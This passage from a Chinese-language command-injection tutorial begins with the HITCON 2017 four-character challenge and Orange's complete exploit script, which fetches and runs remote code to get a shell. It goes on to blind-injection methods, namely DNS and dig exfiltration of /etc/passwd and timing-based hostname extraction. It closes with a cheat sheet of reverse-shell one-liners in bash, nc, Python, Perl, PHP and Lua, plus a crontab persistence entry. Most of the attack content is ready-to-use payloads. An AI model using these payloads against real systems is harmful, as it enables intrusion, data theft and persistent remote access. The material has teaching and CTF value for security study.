r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
print i
sleep(0.2)

相关Writeup:

Example 3 四字绕过 [HITCON 2017 BabyFirst Revenge v2]

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

这题相比之前又难了一点,这次是cmd <= 4,但是原理还是一样的。我们要处理的问题还是ls -t>g这么一个问题。然后因为长度限制,如果我们还用\\作为字符串连接的话,只剩下两个字符,加上最开始必须要用>创建文件,所以只剩下一个可控字符。所以碰到需要转义空格这种地方例如Exmaple 2中的>\ \\这里就不能再使用了。但是我们这里再提一个trick

* 相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入。例如:

所以回到题目,如果按照顺序去创建文件,我们会发现如果直接用*去执行的话,发现并不可以,因为按照dir的文件排序,-t也是排在最前面。

所以我们还需要参考一下alphabetical来排序,这里就不要用Docker来做了,因为busybox里面一些东西还是跟真实环境优点区别的。

所以如果我们需要运用-字符的话,他会排在最前面,这里就比较坑了。所以我们需要想个办法把-t置于后面。

这里我们可以使用t-这种逆序的模式把t放到前面来,就可以比较正常的排序了。

逆序的命令我们可以用rev来实现,另外我们还需要一个字母比较靠前的命令来展示当前目录,我们可以采用dir来展示当前目录,同时d字母也比较靠前,不要像ls特别考虑排序的问题。所以我们大概可以通过这么一个形式去构造ls -t>g

这里可能有几个让大家比较疑惑的地方,比如为什么是>ht-,个人理解是因为ls逆序是sls是排在t前的,如果不加ht-会在sl之后,而且ls -thls -t效果是一样的,然后我们再找一个h之前的字母做输出文件就可以了。还有一个地方就是*v>x,之前我们讲过了通配符以及*的作用,这里*v就相当于$(dir *v)>xdir *v返回的就是结尾为v的文件,这里就是revv两个文件,如果只有相当于先把v文件内容进行逆序,而后再输入到x文件,这样整个ls -t>g的命令拼凑就完成了,接着方法就有很多种了,比较简单的就是直接wget或者curl一个webshell到服务器上就好了,就不再赘述了。

再给一个Orangeexp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from time import sleep
from urllib import quote

payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',

# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',

# generate "curl orange.tw|python;"
'>\;\\',
'>on\\',
'>th\\',
'>py\\',
'>\|\\',
'>tw\\',
'>e.\\',
'>ng\\',
'>ra\\',
'>o\\',
'>\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh x',
'sh g',
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
print i
sleep(0.1)

相关Writeup:

无回显的命令注入

我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?

DNS Log

项目地址:BugScanTeam/DNSLog

对于一些命令盲注类的漏洞,这通常是比较有效的方法,因为通常出站DNS流量不会被阻止可以通过,DNSLog 中的 WebLog 部分将其转化为有回显的命令执行:

1
curl "http://testhash.test.dnslog.link/?`whoami`"

这个用起来比较简单,直接去查看对应的记录就好了。

有时候你需要编码想要读出来的内容,这样才不会由于一些空格或者什么其他字符导致读不完整数据。

这里不仅可以用于命令注入,还可以用于xss等其他一些无回显的攻击。

这里再给个走udp流量的示例

1
2
3
Only OB DNS traffic (UDP/53) allowed and can exec commands? Use 
dig `cut -d: -s -f1 /etc/passwd | sed 10\!d` @ip
to offload file contents.

服务端:

1
nc -l -n -vv -p 53 -u -k(如果不支持-k也可以不用-k)

Same:

1
{dig,`{cut,-d:,-s,-f1,/etc/passwd}|{sed,2\!d}`,@ip}

sleep

检测是否有命令注入比较好的方式就是使用sleep,并观察其执行时间是否增加。

1
2
3
4
5
6
7
8
9
$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total

$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total

可以看出如果存在命令注入,执行时间会按照我们sleep的参数增加,我们这里再简单总结一下前面单引号与双引号的区别

命令 结果
ping -c 4 8.8.8.8`sleep 5` sleep命令被执行,命令替换在命令行中。
ping -c 4 “8.8.8.8`sleep 5`“ sleep命令被执行,命令替换在复杂的字符串双引号之间。
ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep命令被执行,命令替换在使用不同符号时。
ping -c 4 ‘8.8.8.8`sleep 5`‘ sleep命令不执行,命令替换在简单字符串中不起作用(单引号之间)。
ping -c 4 `echo 8.8.8.8`sleep 5`` sleep命令不执行,使用相同符号时命令替换不起作用。
ping -c 4 8.8.8.8;sleep 5 sleep命令被执行,命令在命令行中顺序执行。
ping -c 4 “8.8.8.8;sleep 5” sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8;sleep 5) sleep命令被执行,排序命令在命令替换中起作用。
ping -c 4 ‘8.8.8.8;sleep 5’ sleep命令未被执行, 附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8;sleep 5` sleep命令被执行,排序命令在命令替换中起作用。
ping -c 4 8.8.8.8 | sleep 5 sleep命令被执行,管道输出在命令行正常执行。
ping -c 4 “8.8.8.8 | sleep 5” sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep命令被执行,管道输出在命令替换中起作用。
ping -c 4 ‘8.8.8.8 | sleep 5’ sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8 | sleep 5` sleep命令被执行,管道输出在命令替换中起作用。

除了探测是否有命令注入之外,sleep还有一个可以用于命令盲注的方法。

1
sleep $(hostname | cut -c 1 | tr a 5)
  1. 我们执行的命令为hostname。我们假设它返回hacker.local
  2. 它需要输出并将其传递给cut -c 1。这将选取hacker.local的第一个字符h。
  3. 接着通过tr命令将字符a替换为5。
  4. 然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数智能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。

当然,这个利用条件可能对网络环境要求比较高,但是依靠响应时间的相对时间来判断,也还是比较容易判断的,测试示例:

命令 时间 结果
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)’ 3s
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)’ 8s h
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)’ 8s a
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)’ 3s
ruby server-online.rb ‘8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)’ 8s c

如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。hacker.local12个字符。hostname命令返回主机名和一个新行,因此wc -c将显示13个字符。经过我们测试,脚本的执行时间最短需要3秒钟。

1
2
3
$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'
yes
0.10s user 0.04s system 0% cpu 16.188 total

可以看到以上的payload脚本共用时16秒才执行完成,这意味着主机名为12个字符:16 – 3 (原时间) – 1 (新行) = 12个字符。当在Web服务器上执行此payload时,输出结果可能会有所不同:当请求由不同的服务器处理时,主机名的长度也可能会改变。

本次NUAACTF我也是从这里出了一个点,强迫使用sleep $(xxx)来读取flag

使用暴露的服务

在服务器上执行端口扫描,并且基于暴露的服务确定提取输出的方式。

  • FTP:尝试将文件写入可以从中下载文件的目录。
  • SSH:尝试将命令的输出写入MOTD banner,然后只需SSH到服务器。
  • Web:尝试将命令的输出写入公共目录(/var/www/)中。

反弹shell

不过无论怎么玩,还是直接弹回一个shell来最实用,于是可以有

bash方式

1
bash -c "sh >& /dev/tcp/your ip/port 0>&1" 

exec方式

1
2
$ exec 5<>/dev/tcp/ip/port
$ cat <&5 | while read line; do $line 2>&5 >&5; done

nc方式

本机运行

1
nc -l -vv -p port

目标主机

1
nc -e /bin/bash ip port

另一种nc方式

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

或者

1
mknod backpipe p && nc ip port 0<backpipe | /bin/bash 1>backpipe

或者

1
/bin/sh | nc 受害者ip port		#这个比较特殊,需要在你自己的机器上运行

python方式

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另一种

1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Perl方式

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php方式

1
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

lua方式

1
2
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#需要lua socket支持,且lua5.2+不支持luasocket

crontab方式

crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是 /var/spool/cron/ 目录,ubuntu / var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。

1
2
SHELL=/bin/bash
* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1

telnet方式